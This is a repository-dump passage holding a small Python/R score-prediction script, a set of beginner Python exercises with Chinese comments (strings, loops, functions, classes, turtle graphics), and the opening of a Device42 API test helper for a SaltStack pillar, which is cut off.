refs/heads/master
2021-01-01T15:31:03.972903
2014-12-29T01:33:28
2014-12-29T01:33:28
28,576,242
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5256257653236389, "alphanum_fraction": 0.5446960926055908, "avg_line_length": 26.09677505493164, "blob_id": "8142812909342213df46865af4673e57ce9c1f5d", "content_id": "1becb274b81664563822ff5a5a1fdd1535e40c2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 839, "license_type": "no_license", "max_line_length": 87, "num_lines": 31, "path": "/code/parseScore.py", "repo_name": "coder-chenzhi/predict_rank", "src_encoding": "UTF-8", "text": "'''\n@author: zhichen\n@date: 18, Dec, 2014\n\n'''\n\nDATA_PATH = \"G:\\KuaiPan\\Project\\BigDataContest\\PredictScore\\WorkSpace\\data\\\\test\\\\\"\nIN_FILE = 'Score.txt'\nOUT_FILE = 'ReScore.txt'\n\nscore = {}\nwith open(DATA_PATH + 'Score.txt', 'r') as score_file:\n is_first_line = True\n for line in score_file:\n if is_first_line:\n is_first_line = False\n pass\n else:\n record = line.strip('\\n').split('\\t')\n if record[1] not in score:\n score[record[1]] = [record[2]]\n else:\n score[record[1]].append(record[2])\nprint 'Read done.'\n\nwith open(DATA_PATH + OUT_FILE, 'w') as score_file:\n score_file.write('id,ses1,ses2,ses3\\n')\n for k in score:\n score_file.write(k + ',' + score[k][0] + ',' + score[k][1] + ',' + 'NA' + '\\n')\n\nprint 'Write done.'" }, { "alpha_fraction": 0.6999226808547974, "alphanum_fraction": 0.7300850749015808, "avg_line_length": 50.7599983215332, "blob_id": "b98be8491162f015ce3cff754cf2af03aec984b7", "content_id": "c59230b99e770f5532977b09317f3fd856e20e51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1293, "license_type": "no_license", "max_line_length": 93, "num_lines": 25, "path": "/code/code_linear_regression.r", "repo_name": "coder-chenzhi/predict_rank", "src_encoding": "UTF-8", "text": "setwd(\"G:\\\\KuaiPan\\\\Project\\\\BigDataContest\\\\PredictScore\\\\WorkSpace\\\\data\\\\train\")\ndir()\ntrain <- read.table(\"ReScore.txt\", header=TRUE, sep=\",\")\ninstall.packages(\"ggplot2\")\nlibrary(ggplot2)\nqplot(ses1,ses2, data=train, main=\"relationship between sesmeter1 and sesmeter2\", \n xlab=\"rank of sesmeter 1\", ylab=\"rank of sesmeter 2\")\nqplot(ses1,ses3, data=train, main=\"relationship between sesmeter1 and sesmeter3\", \n xlab=\"rank of sesmeter 1\", ylab=\"rank of sesmeter 3\")\nqplot(ses2,ses3, data=train, main=\"relationship between sesmeter2 and sesmeter3\", \n xlab=\"rank of sesmeter 2\", ylab=\"rank of sesmeter 3\")\npred1 = lm(ses3 ~ ses1 + ses2, data=train)\nsummary(pred1)\nqplot(x=seq(length(pred1$residuals)), y= pred1$residuals, \n main=\"distribution of residuals\", xlab=\"train data\", ylab=\"residuals\")\nqplot(pred1$residuals, main=\"distribution of residuals\", xlab=\"train data\", ylab=\"residuals\")\nmean(pred1$residuals)\nsd(pred1$residuals)\nsum(pred1$residuals^2)\n\nsetwd(\"G:\\\\KuaiPan\\\\Project\\\\BigDataContest\\\\PredictScore\\\\WorkSpace\\\\data\\\\test\")\nqplot(ses1,ses2, data=test, main=\"relationship between sesmeter1 and sesmeter2\", \n xlab=\"rank of sesmeter 1\", ylab=\"rank of sesmeter 2\")\ntest <- read.table(\"ReScore.txt\", header=TRUE, sep=\",\")\nresult = predict(pred1, newdata=test)" } ]
2
jjgm666/practice
https://github.com/jjgm666/practice
1d6bc0c2770bd1ccce84c7c1934c6517de754445
72341ea34ff810cdafa8680ff8620433b3ce423d
e81bb3d27f8bb21bb67b2cdaf1af517e4725b520
refs/heads/master
2021-05-05T15:20:32.401384
2018-02-05T13:42:23
2018-02-05T13:42:23
117,305,144
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6204556226730347, "alphanum_fraction": 0.6757149696350098, "avg_line_length": 23.282352447509766, "blob_id": "358be7dff9b444ce0cdc06a370d48273be193bee", "content_id": "c3c10ddb743d2e7f053a49709d8d1f644d51e485", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3203, "license_type": "no_license", "max_line_length": 70, "num_lines": 85, "path": "/7.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "# 更多字符串和特殊方法\n#1.字符串处理函数\ns=\"Welcome\"\nlen(s) #求s的长度\nmax(s) #求s中ASCII码最大的字符\nmin(s) #求s中ASCII码最小的字符\n\n#2.下标运算符\nfor i in range(0,len(s),2):\n print(s[i],end='')\n\n#3.截取运算符[start : end]\ns[1:4]\n\n#3. 连接运算符+ 和 复制运算符*\ns1 =\"Welcome\"\ns2 =\"Python\"\ns3 =s1 + \" to \" +s2\nprint(\"\\n\",s3)\ns4= 6*s1\ns5= s1*6\nprint(s4,\"\\n\",s5)\n\n#4.in和not in运算符\nprint(\"come\" in s1)\nprint(\"come\" not in s1)\n\n#5.迭代字符串\nfor i in range(0,len(s),2):\n print(s[i]) #输出奇数位的字符\n\n#6.测试字符串\ns1=\"welcome to python\"\ns2=\"Welcome\"\ns3=\"2012\"\ns4=\"first number\"\ns5=\"a b c\"\n\nprint(\"1.字符串\",s1,\"中的字符是字母或数字且至少有一个字符/t\",s1.isalnum())\nprint(\"2.字符串\",s2,\"中的字符是字母且至少有一个字符/t\",s2.isalpha())\nprint(\"3.字符串\",s3,\"中的字符只含有数字字符/t\",s3.isdigit())\nprint(\"4.字符串\",s4,\"中的字符是Python标识符/t\",s4.isidentifier())\nprint(\"5.字符串\",s1,\"中的字符是全是小写且至少有一个字符/t\",s1.islower())\nprint(\"6.字符串\",s1,\"中的字符是全是大写且至少有一个字符/t\",s1.isupper())\nprint(\"7.字符串\",s5,\"中的字符只包含空格/t\",s5.isspace())\n\n#7.搜素子串\nsz=\"welcome to pyton\"\ns1=\"thon\"\ns2=\"good\"\ns3=\"come\"\ns4=\"become\"\ns5=\"o\"\nprint(\"1.字符串\",sz,\"中的字符是以子串\",s1,\"为结尾的/t\",sz.endswith(s1))\nprint(\"2.字符串\",sz,\"中的字符是以子串\",s2,\"为开始的/t\",sz.startswith(s2))\nprint(\"3.字符串\",sz,\"中的字符中含有字符串\",s3,\"且返回其最低下标/t\",sz.find(s3),\"\\t否则返回-1\")\nprint(\"4.字符串\",sz,\"中的字符中含有字符串\",s3,\"且返回其最低下标/t\",sz.find(s4),\"\\t否则返回-1\")\nprint(\"5.字符串\",sz,\"中的字符中含有字符串\",s4,\"且返回其最高下标/t\",sz.rfind(s5),\"\\t否则返回-1\")\nprint(\"6.字符串\",sz,\"中的字符是全是小写且至少有一个字符/t\",sz.count(s5))\n\n#8.转换字符串\nsz=\"welcome to pyton\"\ns1=\"New England\"\ns2=\"Amarica\"\ns3=\"England\"\n\nprint(\"1.复制字符串\",sz,\"并将字符串中第一个字符大写\",sz.capitalize())\nprint(\"2.复制字符串\",s1,\"并将字符串中所有字符转为小写\",s1.lower())\nprint(\"3.复制字符串\",sz,\"并将字符串中所有字符转为大写\",sz.upper())\nprint(\"4.复制字符串\",sz,\"并将字符串中所有单词的首字母大写\",sz.title())\nprint(\"5.复制字符串\",s1,\"并将字符串中小写字母转为大写,大写字母转为小写\",s1.swapcase())\nprint(\"6.用新字符串\",s2,\"替代原字符串\",s1,\"中的\",s3,\"\\t\",s1.replace(s3,s2))\n\n#9.删除字符串中的空格\ns=\" Welcome to Python\\t\"\nprint(\"返回去掉前端空白字符的字符串\",s.lstrip())\nprint(\"返回去掉末端空白字符的字符串\",s.rstrip())\nprint(\"返回去掉两端空白字符的字符串\",s.strip())\n\n#10.格式化字符串\ns=\"Welcome\"\nprint(\"返回在给定宽度域上居中的字符串副本:\\n\",s.center(11))\nprint(\"返回在给定宽度域上左对齐的字符串副本:\\n\",s.ljust(11))\nprint(\"返回在给定宽度域上右对齐的字符串副本:\\n\",s.rjust(11))\nprint(\"格式化一个字符串:\\n\",s.format())" }, { "alpha_fraction": 0.553608238697052, "alphanum_fraction": 0.5721649527549744, "avg_line_length": 22.119047164916992, "blob_id": "a56288a62083a4fee48692857bb4b2ea3e557935", "content_id": "52495b2d562612c1d3ac96749d8e113208e3d921", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 970, "license_type": "no_license", "max_line_length": 44, "num_lines": 42, "path": "/TV.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "class TV:\n def __init__(self):\n self.channel =1\n self.volumeLevel = 1\n self.on = False\n\n def turnOn(self):\n self.on = True\n\n def turnDown(self):\n self.on = False\n\n def getChannel(self):\n return self.channel\n\n def setChannel(self,channel):\n if self.on and 1<=self.channel<=120:\n self.channel = channel\n\n def getVolumeLevel(self):\n return self.volumeLevel\n\n def setValume(self,volumeLevel):\n if self.on and \\\n 1<=self.volumeLevel<=7:\n self.volumeLevel=volumeLevel\n\n def channelUp(self):\n if self.on and self.channel<120:\n self.channel+=1\n\n def channelDown(self):\n if self.on and self.channel>1:\n self.channel-=1\n\n def volumeUp(self):\n if self.on and self.volumeLevel<7:\n self.volumeLevel+=1\n\n def volumeDown(self):\n if self.on and self.volumeLevel>1:\n self.volumeLevel-=1" }, { "alpha_fraction": 0.6834701299667358, "alphanum_fraction": 0.7373974323272705, "avg_line_length": 18.837209701538086, "blob_id": "6792554148208d01d3000c188c877d0ea340569c", "content_id": "e52a93e1243d6497366bc4c30c4d7c4fd10c3e99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1090, "license_type": "no_license", "max_line_length": 35, "num_lines": 43, "path": "/test.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "#Just a test py\nprint(\"Welcome to python!\")\nprint(\"Python is fun!\")\nprint(\"Problem driven!\")\nprint('Welcome to python!')\nprint('''This is the first line.\n This is the second line.\n This is the third line.''')\nprint(\"Problem driven!\")\nprint((10.5+2*3)/(45-3.5))\n\n#test turtle\nimport turtle #导入turtle绘图包\n#绘制初始点\nturtle.showturtle()\nturtle.write(\"welcome to python\")\n#箭头向箭头方向移动100\nturtle.forward(100)\n#按照当前箭头方向向右旋转90°,颜色蓝色,长度50\nturtle.right(90)\nturtle.color(\"blue\")\nturtle.forward(50)\n#按照当前箭头方向向右旋转90°,颜色绿色,长度100\nturtle.right(90)\nturtle.color(\"green\")\nturtle.forward(100)\n#按照当前箭头方向向右旋转45°,颜色红色,长度50\nturtle.right(45)\nturtle.color(\"red\")\nturtle.forward(80)\n\n#penup函数抬起笔\nturtle.penup()\n#turtle的goto语句,将箭头移至任何位置\nturtle.goto(0,50)\n#pendown函数放下笔\nturtle.pendown()\n\n#用circle函数绘制圆\nturtle.color(\"purple\")\nturtle.circle(60)\n#done函数使图像稳定输出\nturtle.done()\n" }, { "alpha_fraction": 0.4924337863922119, "alphanum_fraction": 0.5397225618362427, "avg_line_length": 15.350515365600586, "blob_id": "fe09943935f134e416c485aac14e895f06a4890a", "content_id": "696ff510fdcbc72ae713f65995680660aeed3d8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1878, "license_type": "no_license", "max_line_length": 82, "num_lines": 97, "path": "/5.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "# 1.定义和调用函数\n\ndef max(num1, num2): # 注意!!!这里仅仅是一个数字的输入,而不是比较的一个数!比如输入的是9和16比较,则实际上比较的是9和1,返回的是9\n if num1 > num2:\n result = num1\n else:\n result = num2\n return result\n\na = input(\"请输入第一个数字:\")\nb = input(\"请输入第二个数字:\")\nz = max(a, b)\nprint(z)\nprint(max(a, b))\n\ndef main():\n i = 5\n j = 2\n k = max(i, j)\n print(i, \"和\", j, \"中更大的是:\", k)\n\nmain() # 调用main函数\n\n\n# 2.带返回值和不带返回值的函数\ndef printSGrade_1(score):\n if score >= 90.0:\n print(\"A\")\n elif score >= 80.0:\n print(\"B\")\n elif score >= 70.0:\n print(\"C\")\n elif score >= 60.0:\n print(\"D\")\n else:\n print(\"Fail\")\n\ndef main():\n score = eval(input(\"输入一个成绩:\"))\n print(\"成绩是:\", end=\"\")\n printSGrade_1(score)\n\nmain()\n\ndef printSGrade_2(score):\n if score >= 90.0:\n return 'A'\n elif score >= 80.0:\n return 'B'\n elif score >= 70.0:\n return 'C'\n elif score >= 60.0:\n return 'D'\n else:\n return 'Fail'\n\ndef main():\n score = eval(input(\"输入一个成绩:\"))\n print(\"成绩是:\", printSGrade_2(score))\n\nmain()\n\n# 变量的作用域\ndef function():\n x = 4.5\n y = 3.5\n print(x)\n print(y)\n\nfunction()\n'''\nprint(x) # 报错\nprint(y)\n'''\n\n# 默认参数的设置和调用\ndef printArea(width=1, height=1):\n area = width * height\n print(\"Width:\", width, \"\\tHeight:\", height, \"\\tArea:\", area)\n\nprintArea()\nprintArea(2, 4.5)\nprintArea(height=5, width=3)\nprintArea(height=6.6)\nprintArea(width=2.2)\n\n# 返回多个值\ndef multiSort(n1, n2):\n if n1 > n2:\n return n2, n1\n else:\n return n1, n2\n\n\nn1, n2 = multiSort(5, 3)\nprint(\"n1=\", n1)\nprint(\"n2=\", n2)\n" }, { "alpha_fraction": 0.5380852818489075, "alphanum_fraction": 0.579315185546875, "avg_line_length": 16.240962982177734, "blob_id": "8b764877723539b10122ce7956e4c0d06f3deec0", "content_id": "87aa7801b7e454ed8234ad8057a1d7919310b345", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1671, "license_type": "no_license", "max_line_length": 85, "num_lines": 83, "path": "/4.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "\"\"\"循环\"\"\"\n# 1.while循环\ncount = 0\nwhile count < 10:\n print(\"Python is fun!\", count)\n count += 1\n\nsum = 0\ni = 1\nwhile i < 10:\n sum = sum + i\n i += 1\nprint(\"sum is:\", sum)\n\nimport random\n\nnumber1 = random.randint(0, 9)\nnumber2 = random.randint(0, 9)\n\nif number1 < number2:\n number1, number2 = number2, number1\n\nanswer = eval(input(\"请输入下面式子的正确答案:\\n\" + str(number1) + \"+\" + str(number2) + \"=\"))\n\nwhile answer != number1 + number2:\n print(\"答案错误,请重试!\")\n answer = eval(input(\"请输入下面式子的正确答案:\\n\" + str(number1) + \"+\" + str(number2) + \"=\"))\nprint(\"答案正确!\")\n\nprint(\"······猜数字游戏(0~100)······\")\nnumber = random.randint(0, 100)\nguess = 0\nwhile guess != number:\n guess = eval(input(\"请输入猜想的数字:\"))\n if guess > number:\n print(\"您猜的数大了!\")\n elif guess < number:\n print(\"您猜的数小了!\")\n else:\n print(\"您猜对了!\")\n\n# 2.输入输出重定向\n\"\"\"\npython Sentinelvalue.py < input.txt\npython Script.py > output.txt\n\npython Sentinelvalue.py < input.txt> output.txt\n\"\"\"\n\n# 3.for循环\nfor v in range(4, 8):\n print(v)\n\n# range()函数\n\"\"\"\nfor(a,b,k)\na 是序列中的第一个数\nb 是界限值(不取到)\nk 是步进值\n\n\"\"\"\n\n# 4.关键字 break 和 continue\nsum = 0\nnumber = 0\nwhile number < 20:\n number += 1\n sum += number\n if sum >= 100:\n break\n\n print(\"The number is :\", number)\n print(\"The sum is :\", sum)\n\nsum = 0\nnumber = 0\nwhile number < 20:\n number += 1\n if number == 10 or number == 11:\n continue\n sum += number\n\nprint(\"The sum is:\", sum)\n" }, { "alpha_fraction": 0.5262401103973389, "alphanum_fraction": 0.5607476830482483, "avg_line_length": 18.591548919677734, "blob_id": "2be30a44a59f3cbed246564a704a8bc83ba6964f", "content_id": "f00a6663cb08387e957cdcd9bb6c31b691af5d88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1649, "license_type": "no_license", "max_line_length": 93, "num_lines": 71, "path": "/6.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "# 对象和类\n# 1.定义类\nimport math\nclass Circle:\n def __init__(self,radius=1):\n self.radius=radius\n def getPerimerter(self):\n return 2 * self.radius * math.pi\n def getArea(self):\n return self.radius*self.radius*math.pi\n def setRadius(self,radius):\n self.radius=radius\n\n# 2.构造对象 : 类名(参数)\nCircle()\n\n# 3.访问对象成员\nc1=Circle(5)\nc2=Circle()\nprint(c1)\nprint(c2)\nprint(\"Area is:\",Circle(5).getArea())\n\n\"\"\"\ndef Class_1:\n def __init__(self , ...)\n self.x = 1 创建 self.x 作用域为整个Class_1\n ...\n def m1(self , ...)\n self.y = 2 创建 self.y 作用域为整个Class_1,但m1中赋值为2\n ...\n z = 5 创建 z 作用域为m1\n ...\n def m2(self , ...)\n self.y = 3 创建 self.y 作用域为整个Class_1,但m1中赋值为3\n ...\n u = self.x + 1 创建 u 作用域为m2\n self.m1(...)\n\n\"\"\"\n\n# 4.使用类\nfrom TV import TV\n\ndef main():\n tv1 = TV()\n tv1.turnOn()\n tv1.setChannel(30)\n tv1.setValume(3)\n\n tv2=TV()\n tv2.turnOn()\n tv2.channelUp()\n tv2.channelUp()\n tv2.volumeUp()\n\n print(\"tv1's channel is:\",tv1.getChannel(),\"and volume level is\",tv1.getVolumeLevel())\n print(\"tv2's channel is:\", tv2.getChannel(), \"and volume level is\", tv2.getVolumeLevel())\n\nmain()\n\n# 隐藏数据域\n\"\"\"\n私有数据域定义: 仅可在类内部访问,类外部不可访问\n __privateName\n \n 用get方法,让客户端访问数据域\n def getRadius(self):\n return self.__radius\n 用set方法,为私有数据设置一个新值\n\"\"\"\n" }, { "alpha_fraction": 0.5657268166542053, "alphanum_fraction": 0.6294397711753845, "avg_line_length": 20.34375, "blob_id": "cdc5b13b6e8d6dc2b5593233611d5f3c3a395d89", "content_id": "0169576ba9bd4fc3d7db431672f400de41be182a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3740, "license_type": "no_license", "max_line_length": 66, "num_lines": 128, "path": "/2.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "# 常见的python函数\n'''\n使用时直接使用函数名即可\nabs(x) 取绝对值\nmax(x1,x2,..,xn) 取最大值\nmin(x1,x2,..,xn) 取最小值\npow(a,b) 返回a^b,相当于a**b\nround(x) 返回与x最接近的整数,若两个整数都与x接近,则返回偶数值\nround(x,b) 保留小数点后n位小数的浮点值\n\n使用时应为 math.函数名(a)\nfabs(x) 将x看作是一个浮点数,并返回其绝对值\nceil(x) 向上取整\nfloor(x) 向下取整\nexp(x) 返回幂函数e^x的值\nlog(x) 返回x的自然对数值\nlog(x,base) 返回以某个特殊值base为底的x的对数值\nsqrt(x) 返回x的平方根\ndegrees(x) 将x从弧度转换为角度\nradians(x) 将x从角度转换为弧度\nsin(x) cos(x) asin(x) acos(x) tan(x) 三角函数\n\npi 常数π\ne 常数e\n\n使用这些数据和常数 需要事先导入 math 包\n'''\n\n# 字符串和字符\nimport turtle\n\nturtle.write(\"\\u6B22\\u8FCE\\u03b1\\u03b2\\u03b3\")\nturtle.done()\n\n# 函数 ord(ch) 用于返回字符ch的ASCII码 和 chr(code)用于返回code所编码的字符\nch = 'A'\nprint(ord(ch))\nprint(chr(102))\n\n# 转义序列\n'''\n\\b 退格符\n\\f 制表符\n\\n 换行符\n\\f 换页符\n\\r 回车符\n\\\\ 反斜线\\\n\\' 单引号’\n\\\" 双引号“\n'''\nprint(\"He said,\\\"I love you!\\\"\")\n\n# 不换行打印 调用print时传递一个特殊参数 end=\"任意一个字符串\"\nprint(\"AAA\", end=\"abcd\")\nprint(\"BBB\", end=\" \")\nprint(\"CCC\", end=\"efgh\")\n\n# 函数str() 将一个数字转换成字符串\n# 如 str(3.4) 为 '3.4'\n\n# 字符串的连接操作 用 + 以及 += 均可 进行\nmessage = \"\\nWelcome \" + \"to \" + \"Python \"\nprint(message)\n\nmessage += \"and Python is fun!\"\nprint(message)\n\n# 从控制台读取字符串 用 inout() 函数\ns1 = input(\"Enter a string:\")\ns2 = input(\"Enter a string:\")\ns3 = input(\"Enter a string:\")\nprint(\"s1 is \" + s1)\nprint(\"s2 is \" + s2)\nprint(\"s3 is \" + s3)\n\n# 对象和方法简介 id()函数:查看对象的id 和 type()函数:查看对象的类型 获取关于对象的一些信息\ni = 100\nprint(id(i))\nprint(type(i))\n\ns = \"\\t Welcome \\n\"\ns1 = s.lower()\ns2 = s.upper()\ns3 = s.strip()\nprint(s1, s2, s3)\n\n# 格式化数字和字符串 format()函数返回格式化的字符串\n# 调用的格式为: format(item , \" format-specifier \")\namount = 12618.98\nrate = 0.0013\ninterest = amount * rate\nprint(\"Interest is:\", round(interest, 2))\nprint(\"Interest is:\", format(interest, \".2f\"))\n\n#格式化浮点数 format-specifier 为 \" 字符串的宽度 . 小数点后数字的个数 f \"\nl=123456.789456\nn=67\nprint(format(l,\"16.6f\"))\nprint(format(l,\"16.4f\"))\nprint(format(l,\"12.6f\"))\nprint(format(l,\"12.2f\"))\nprint(format(n,\"10.6f\"))\n\n#用科学记数法格式化 format-specifier 为 \" 字符串的宽度 . 小数点后数字的个数 e \"\nprint(format(l,\"16.2e\"))\nprint(format(l,\"16.5e\"))\n\n#格式化百分数 format-specifier 为 \" 字符串的宽度 . 小数点后数字的个数 % \"\nm = 0.53756\nprint(format(m,\"10.2%\"))\n\n#调整格式化 format-specifier 为 \" 字符串的宽度 . 小数点后数字的个数 f \"\nprint(format(59.6131,\"10.2f\"))\nprint(format(59.6131,\"<10.2f\")) # < 是指左对齐\n\n#格式化整数 format-specifier 为 \" 字符串的宽度 d \"\nprint(format(596131,\"10d\")) # d 十进制\nprint(format(596131,\"<10d\"))\nprint(format(596131,\"10x\")) # x 十六进制\nprint(format(596131,\"<10x\"))\nprint(format(596131,\"10x\")) # o 八进制\nprint(format(596131,\"<10x\"))\n\n#格式化字符串\nprint(format(\"Welcome to pyton\",\"20s\"))\nprint(format(\"Welcome to pyton\",\"<20s\"))\nprint(format(\"Welcome to pyton\",\">20s\")) # < 是指右对齐\nprint(format(\"Welcome to pyton and java\",\"<20s\")) # < 是指左对齐" }, { "alpha_fraction": 0.4375690519809723, "alphanum_fraction": 0.47900551557540894, "avg_line_length": 20.807228088378906, "blob_id": "bb405ec7eb7684cee416f2334dd39f7d953e42df", "content_id": "0358e8d471a68012589dbff5d0fc7d66b49a2385", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2202, "license_type": "no_license", "max_line_length": 88, "num_lines": 83, "path": "/3.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "# 选择\n\n# 布尔表达式、数值表达式\nradius = 1\nprint(radius > 0)\nprint(radius < 0)\nprint(int(radius > 0))\nprint(int(radius < 0))\n\n# 产生随机数 random()函数,需要引入random包,用法是:random.randint(a , b) 返回的是从a到b的随机整数;\n# 也可以用random.randrange(a , b) 返回的是从a到b-1的随机整数;\n# 还可以用random.random() 返回的是从0.0到1.0的随机浮点数;\nimport random\n\nnumber1 = random.randint(0, 20)\nnumber2 = random.randint(0, 20)\nanswer = eval(input(\"What is \" + str(number1) + \"+\" + str(number2) + \"?\"))\nprint(number1, \"+\", number2, \"=\", answer, \"is\", number1 + number2 == answer)\n\n# if语句\nscore = eval(input(\"输入成绩:\"))\nif score >= 90:\n grade = 'A'\nelse:\n if score >= 80:\n grade = \"B\"\n else:\n if score >= 70:\n grade = 'C'\n else:\n if score >= 60:\n grade = 'D'\n else:\n grade = 'E'\nprint(\"Grade is :\", grade)\n\nscore1 = eval(input(\"输入成绩1:\"))\nif score1 >= 90:\n grade = 'A'\nelif score >= 80:\n grade = \"B\"\nelif score >= 70:\n grade = 'C'\nelif score >= 60:\n grade = 'D'\nelse:\n grade = 'E'\nprint(\"Grade is :\", grade)\n\n# 逻辑运算符 not 逻辑否、and 逻辑和、or 逻辑或\nnumber = eval(input(\"输入一个整数:\"))\n\nif number % 2 == 0 and number % 3 == 0:\n print(\"这个数能被2和3整除!\")\nelif number % 2 == 0 or number % 3 == 0:\n print(\"这个数能被2或3整除!\")\nelif (number % 2 == 0 or number % 3 == 0) and not (number % 2 == 0 and number % 3 == 0):\n print(\"这个数能被2或3整除,但不能被2或3整除!\")\n\n# 条件表达式 条件1 if 布尔表达式 else 条件2\nx = eval(input(\"请输入x值:\"))\ny = 1 if x > 0 else -1\nprint(y)\n\"\"\"\n等同于:\nif x > 0:\n y = 1\nelse\n y = -1\n\"\"\"\n# 运算符优先级 和 结合方向\n\"\"\"\n高 + - (一元 加减运算符)\n| ** \n| not\n| * / // %\n| + - (二元 加减运算符)\n| < <= > >=\n| == !=\n| and\n| or\n低 = += -= *= /= //= %=\n\"\"\"\n" }, { "alpha_fraction": 0.5546921491622925, "alphanum_fraction": 0.6114763617515564, "avg_line_length": 16.787233352661133, "blob_id": "921a5c95bbb3a8c6702c5911cd591677252311c9", "content_id": "00bd29f00c1a11b5191b688e007ac1a375e06ce4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2031, "license_type": "no_license", "max_line_length": 85, "num_lines": 94, "path": "/1.py", "repo_name": "jjgm666/practice", "src_encoding": "UTF-8", "text": "#format字符串\nage = \"3\"\nname = \"Tom\"\nprint(\"{0} was {1} years old\".format(name,age))\n#\n\n#字符串的连接 +\nprint(name + \" was \" +str(age) + \" years old\")\n#\n#程序自带数据\nwidth = 5.5\nheight = 2\nprint(\"area is\",width * height)\n#\n\n#从控制台读取输入(输入的是一个字符串, 可以用 eval() 函数 将其转换为 数值型!!\nradius = eval(input(\"Enter a value for radius:\"))\narea = radius * radius * 3.14159\nprint(\"The area for the circle of radius\",radius,\"is:\",area)\n#\n\n#交换两个参数的值\nx = 1\ny = 2\nx , y = y , x\nprint(x,y)\n#\n\n#多值输入\nnumber1 , number2 , number3 = eval(input(\"Enter three numbers separated by commas:\"))\naverage = (number1 + number2 + number3) /3\nprint(\"The average of\", number1 , number2 , number3 , \"is\" , average)\n#\n\n#运算符—— + - / // ** %\na = 1 + 2\nb = 1 - 2\nc = 1 * 2\nd = 1 / 2\ne = 1 // 2\nf = 4 ** 2\ng = 20 % 3\n\nprint(\"加法a=\",a,\",减法b=\",b,\"乘法c=\",c,\",除法d=\",d,\",取整e=\",e,\",求幂f=\",f,\",取余(取模)g=\",g)\n#\n\n#以秒计时的一段时间转换为以分和秒计时的时间\nseconds = eval(input(\"输入一个以秒计时的一段时间:\"))\nminutes = seconds // 60\nnewseconds = seconds % 60\nprint(seconds,\"转换成\",minutes,\"分\",newseconds,\"秒\")\n#\n\n#科学记数法\n#1.23456E2 123.456E-2\n\n#增强运算符\n'''\na+=4 a=a+4\na-=4 a=a-4\na*=4 a=a*4\na/=4 a=a/4\na//=4 a=a//4\na%=4 a=a%4\na**=4 a=a**4\n'''\n#\n\n#类型转换 四舍五入\nvalue = 5.6\na = int(value)\nb = round(value)\nc = round(5.2)\nprint(a,b,c)\n#\n\n#营业税保留两位小数\npurchaseAmount=eval(input(\"输入营业额:\"))\ntax=purchaseAmount*0.06\nprint(\"营业税为\",int(tax*100)/100.0) #保留了两位小数\n#\n\n#显示当前时间\nimport time\n\ncurrrntTime = time.time()\ntotalSeconds = int(currrntTime)\nnowSeconds = totalSeconds % 60\ntotalMinutes = totalSeconds // 60\nnowMinutes = totalMinutes % 60\ntotalHours = totalMinutes // 60\nnowHours = totalHours % 24\nprint(\"现在时间:\",nowHours,\"时\",nowMinutes,\"分\",nowSeconds,\"秒\")\n#\n\n" } ]
9
osanchez42/d42_saltstack_external_pillar
https://github.com/osanchez42/d42_saltstack_external_pillar
1b7c65d4fc2726d4c3f1830770f9da3119ace17f
d91fbfe711cc3f7b65a8c7b2506a4a5ba7a88fc7
a654f145b31de338f930c38f7abedcad747d43e8
refs/heads/master
2022-04-22T17:51:23.822088
2020-04-23T17:16:00
2020-04-23T17:16:00
258,276,761
0
0
null
2020-04-23T17:14:24
2019-04-09T08:07:49
2017-11-29T23:06:27
null
[ { "alpha_fraction": 0.5675947070121765, "alphanum_fraction": 0.5773764848709106, "avg_line_length": 29.43511390686035, "blob_id": "d944928851ba1624996b394904f0343fec88e5be", "content_id": "ce6fc955cd376211d11bbe46ea4407610625b476", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3987, "license_type": "permissive", "max_line_length": 123, "num_lines": 131, "path": "/api_test.py", "repo_name": "osanchez42/d42_saltstack_external_pillar", "src_encoding": "UTF-8", "text": "import requests, csv, json, yaml, os, sys\n\n# api_test.py is to help you test doql queries without the full external pillar script\nCUR_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\ndef get_config(cfgpath):\n if not os.path.exists(cfgpath):\n if not os.path.exists(os.path.join(CUR_DIR, cfgpath)):\n raise ValueError(\"Config file %s is not found!\" % cfgpath)\n cfgpath = os.path.join(CUR_DIR, cfgpath)\n with open(cfgpath, 'r') as cfgf:\n config = yaml.load(cfgf.read())\n return config\n\n\ndef _req(url, payload, auth, headers, verify=True):\n response = requests.request(\n \"POST\",\n url,\n data=payload,\n auth=auth,\n headers=headers,\n verify=verify\n )\n if response.status_code >= 400:\n print('D42 Response text: {0}'.format(response.text))\n response.raise_for_status()\n return response\n\n\n'''\nthis is what is returned from the view_device_custom_fields_v1 table \n{\n \"device_fk\": \"19\", \n \"device_name\": \"ubuntu.saltmaster5\", \n \"filterable\": \"f\", \n \"is_multi\": \"f\", \n \"key\": \"Salt Node ID\", \n \"log_for_api\": \"t\", \n \"mandatory\": \"f\", \n \"related_model_name\": \"\", \n \"type\": \"Text\", \n \"type_id\": \"1\", \n \"value\": \"ubuntu.saltmaster5\"\n}\n\n'''\n\n\ndef request_minion_info(query, config):\n payload = {\n \"query\": query,\n # \"query\": \"SELECT %s FROM view_device_v1, view_device_custom_fields_v1 WHERE view_device_v1.name = 